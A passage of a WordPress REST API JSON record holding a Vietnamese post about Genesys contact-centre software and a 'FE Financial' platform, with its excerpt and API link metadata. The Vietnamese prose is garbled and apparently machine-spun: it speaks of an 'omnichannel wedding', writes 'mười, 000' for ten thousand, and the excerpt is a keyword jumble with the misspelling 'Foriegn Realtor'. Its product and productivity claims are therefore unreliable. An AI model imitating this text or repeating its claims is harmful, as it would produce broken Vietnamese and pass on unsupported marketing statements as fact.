c\u0169ng cho ph\u00e9p doanh nghi\u1ec7p th\u1ef1c hi\u1ec7n mu\u1ed1n \u0111\u00e1m c\u01b0\u1edbi omnichannel c\u1ee7a m\u00ecnh, Genesys, \u0111\u00e3 tham gia C\u1ed1 v\u1ea5n truy\u1ec1n th\u00f4ng gi\u00fap c\u1ea3i thi\u1ec7n s\u1ea3n l\u01b0\u1ee3ng ho\u1ea1t \u0111\u1ed9ng v\u00e0 b\u1eaft \u0111\u1ea7u c\u1eadp nh\u1eadt kinh nghi\u1ec7m c\u1ee7a ng\u01b0\u1eddi. FE Financial tr\u00ecnh b\u00e0y m\u1ed9t n\u1ec1n t\u1ea3ng c\u00e1c c\u00e0i \u0111\u1eb7t \u00edt nh\u1ea5t l\u00e0 m\u01b0\u1eddi, 000 truy\u1ec1n th\u00f4ng ti\u1ebfp th\u1ecb v\u00e0 b\u00e1n h\u00e0ng m\u1ed7i ng\u00e0y, ho\u1eb7c th\u1eadm ch\u00ed l\u00e0 th\u01b0 t\u1eeb, hi\u1ec3n th\u1ecb v\u00e0 b\u1eaft \u0111\u1ea7u c\u00e1c l\u1edbp truy\u1ec1n th\u00f4ng x\u00e3 h\u1ed9i. N\u00f3 c\u00f3 th\u1eddi gian t\u1ea1o t\u00e0i li\u1ec7u th\u1ea5p h\u01a1n \u0111\u00e1ng k\u1ec3 v\u00e0 t\u0103ng n\u0103ng su\u1ea5t c\u1ed1 v\u1ea5n.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>B\u00e0i vi\u1ebft n\u1ed9i dung Genesys v\u1edbi \u0111\u1ea1i l\u00fd t\u1ea1i nh\u00e0 Genesys Foriegn Realtor Gi\u00e1m s\u00e1t vi\u00ean nh\u00e2n vi\u00ean Genesys Genesys Analytics C\u00e1c c\u00f4ng ty t\u00e0i ch\u00ednh ch\u00ednh c\u1ee7a Vi\u1ec7t Nam Vi\u1ec7t Nam FE kinh t\u1ebf c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c d\u00e0nh ri\u00eang \u0111\u1ec3 \u0111\u1eb7t g\u1ea7n v\u1edbi khu v\u1ef1c c\u1ee5 th\u1ec3 c\u1ee7a h\u1ecd, cung c\u1ea5p c\u00e1c kh\u1ea3 n\u0103ng [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[],"_links":{"self":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/94491"}],"collection":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/comments?post=94491"}],"version-history":[{"count":1,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/94491\/revisions"}],"predecessor-version":[{"id":94492,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/posts\/94491\/revisions\/94492"}],"wp:attachment":[{"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/media?parent=94491"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/categories?post=94491"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/ansoldes.com\/index.php\/wp-json\/wp\/v2\/tags?post=94491"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}